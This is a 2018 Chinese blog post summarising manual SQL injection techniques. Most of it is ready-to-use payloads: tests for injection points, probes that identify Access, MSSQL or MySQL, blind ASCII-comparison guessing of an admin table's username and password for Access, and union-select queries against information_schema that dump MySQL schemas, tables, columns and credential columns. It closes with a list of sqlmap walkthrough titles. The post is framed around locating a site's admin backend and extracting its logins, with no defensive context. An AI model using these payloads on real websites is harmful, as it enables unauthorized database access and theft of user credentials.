Ywc's blog

SQL注入总结

Word count: 1.4kReading time: 5 min
2018/07/04

参考链接:

https://www.cnblogs.com/habi/articles/7831258.html

https://www.cnblogs.com/vame1/p/5788391.html

手工注入

判断是否存在注入点:

常用:a.在末尾添加’ b.在末尾添加 and 1=1 c.在末尾添加 and 1=2

  • 数字型:and 1=1 and 1=2 判断是否存在注入
  • 字符型:’and ‘1’=’1 ‘and ‘1’=’2
  • 搜索型: 关键字%’ and 1=1 and ‘%’=’% 关键字%’ and 1=2 and ‘%’=’%

判断数据库类型

IIS报错下使用: and user>0 (判断是Access还是Mssql(mysql))

不报错则使用各自的数据库特性来判断:

1
2
3
4
5
and (select count(*) from msysobjects)>0 (返回权限不足则是access数据库)
and (select count(*) from sysobjects)>0 (返回权限不足则是Mysql数据库)
and db_name () >0 (返回数据库名)
and 0<>(select @@version)-- (判断版本信息)
and db_name () >0 (返回数据库名)

然后找到后台地址,进行猜解

ACCESS注入:

猜解表名(正常存在admin,不正常则不存在)

1
2
and exists(select * from admin)
and (select count(*) from admin)>0

猜解字段(字段username存在则正常,不正常则不存在)

1
2
and (select username from admin)>0
and exists(select username from admin)

猜解用户名和密码长度

1
2
and (select top 1 len(username) from admin)>0
and (select top 1 len(password) from admin)>0

原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>4成 立,>5不成立,就是len(username)=5,即用户名长度为5.得到username的长度后,用mid(username,N,1)截 取第N位字符,再asc(mid(username,N,1))得到ASCII码。

猜解用户

1
and (select top 1 asc(mid(username,1,1)) form admin)>0,1,2...,

原理:当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109.,得到第一个字符是m。同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r。注意的是英文和数字的ASCII码在1-128之间…

MSSQL(Mysql)

可以参照:https://blog.csdn.net/c_major/article/details/40301379

order by 和 union select

通过order by 查出字段数目N,然后联合查询.

1
2
and 1=1 order by 1,2,3,4...,N
and 1=2 union select 1,2,3,4...,N

order by确认字段数,union select联合查询可以将字段全部显示出来,显示出来后查并爆库爆表爆字段。

首先这里and 1=2报错,用单引号或在参数前加个”-“也行,这里和Access不同,后面可以不加”from 表名”;最后面的”–”是注释符,注释掉后面的语句,防止出错,换成”/*”也行,也可以不加,Access不支持注释符,MySQL和MSSQL支持。

查出基本信息:

得到数字回显后,将对应数字位换成我们想查询的信息,比如显示位是3

1
and 1=2 union select 1,2,version(),4...,N

常用函数:

1
2
3
4
5
6
7
8
version()——Mysql版本
user()——用户名
database()——数据库名
@@datadir——数据库路径
@@version_compile_os——操作系统版本
concat(str1,str2,...) //没有分隔符地连接字符串
concat_ws(separator,str1,str2,...) //含有分隔符地连接字符串
group_concat(str1,str2,...) //连接一个组的所有的字符串,并以逗号分隔每一条数据

暴表暴库列暴用户名密码

查表查列

1
2
3
and 1=2 union select 1,2,schema_name,4 from information_schema.schemata limit N,1
and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema=要查询的库名的十六进制 limit N,1
and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_name=要查的表名的十六进制 limit N,1

有个提速技巧,要查的库名的十六进制那个地方填database(),就是table_schema=database(),直接就表示当前数据库。

找敏感的表,含有admin、manage或者user之类的

爆表爆列

1
2
3
4
暴库:and 1=2 union select 1,2,group_concat(distinct schema_name),4 from information_schema.schemata
爆表:and 1=2 union select 1,2,group_concat(distinct table_name),4 from information_schema.tables where table_schema=database() 或者写要爆的库名的十六进制
爆字段:and 1=2 union select 1,2,group_concat(distinct column_name),4 from information_schema.columns where table_name=要爆的表名的十六进制
报字段内容:and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名

distinct表示不同,也就是去掉爆出内容的重复部分,不加也可以。

所有数据都是从information_schema.columns这个表里获取,因为从information_schema这个库的介绍(http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html)我们可以看到,从information_schema.columns这个表里,我们可以查到所有的信息,因为它在里面,table_schema、table_name、column_name这个三个列都有,所以我们可以直接通过这个表,查出我们需要的所有信息,就省了换表这一步了,进一步提升速度.

一般用union select 查到表后 直接进行爆表爆列

Sqlmap等工具注入

sqlmap access注入实战
sqlmap mysql注入实战
sqlmap cookie注入实战
sqlmap post登录框注入实战
PHP+Mysql手动注入-字符型
PHP+Mysql手动注入-搜索型
ASP+ACCESS手动注入-Cookie注入

CATALOG
  1. 1. 手工注入
    1. 1.0.1. 判断是否存在注入点:
    2. 1.0.2. 判断数据库类型
  2. 1.1. ACCESS注入:
    1. 1.1.1. 猜解表名(正常存在admin,不正常则不存在)
    2. 1.1.2. 猜解字段(字段username存在则正常,不正常则不存在)
    3. 1.1.3. 猜解用户名和密码长度
    4. 1.1.4. 猜解用户
  3. 1.2. MSSQL(Mysql)
    1. 1.2.1. order by 和 union select
    2. 1.2.2. 查出基本信息:
    3. 1.2.3. 暴表暴库列暴用户名密码
      1. 1.2.3.1. 查表查列
    4. 1.2.4. 爆表爆列
  • 2. Sqlmap等工具注入